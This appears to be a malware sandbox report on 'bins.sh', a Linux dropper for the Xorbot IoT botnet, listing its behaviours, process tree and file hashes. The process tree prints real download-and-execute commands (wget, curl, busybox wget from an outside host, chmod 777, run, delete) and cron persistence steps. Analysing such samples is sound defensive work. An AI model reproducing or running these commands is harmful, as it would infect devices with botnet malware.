Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/01/2025, 00:56

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-bacabavpbl
  • SHA256 873c0bf88bb4a6c0f6fa73719af3038afdf97e0419f0779bfdf9bc56d296f5e5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2124) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:660
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:663
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:667
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:689
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:696
      • /bin/chmod
        chmod 777 QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • File and Directory Permissions Modification
        PID:705
      • /tmp/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        ./QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
          PID:706
        • /bin/rm
          rm QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
          2⤵
            PID:709
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:710
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:732
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            ./eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
            2⤵
              PID:748
            • /bin/rm
              rm eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
              2⤵
                PID:750
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:751
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:764
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:784
              • /bin/chmod
                chmod 777 AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • File and Directory Permissions Modification
                PID:785
              • /tmp/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                ./AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:786
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:788
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:789
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:790
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:791
                    • /bin/rm
                      rm AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                      2⤵
                        PID:793
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                        2⤵
                        • System Network Configuration Discovery
                        PID:796

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                          • Path /tmp/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                          • Size 127KB
                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
                          • Path /tmp/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
                          • Size 151KB
                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                          • Path /tmp/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.bklcGk
                          • Path /var/spool/cron/crontabs/tmp.bklcGk
                          • Size 210B
                          • SHA256 755530590cba836c9cc51284a7d7f77f21cf31069e787fd41f17aac7f4e61715
                          • MD5 SHA1 SHA512
                          Submit Download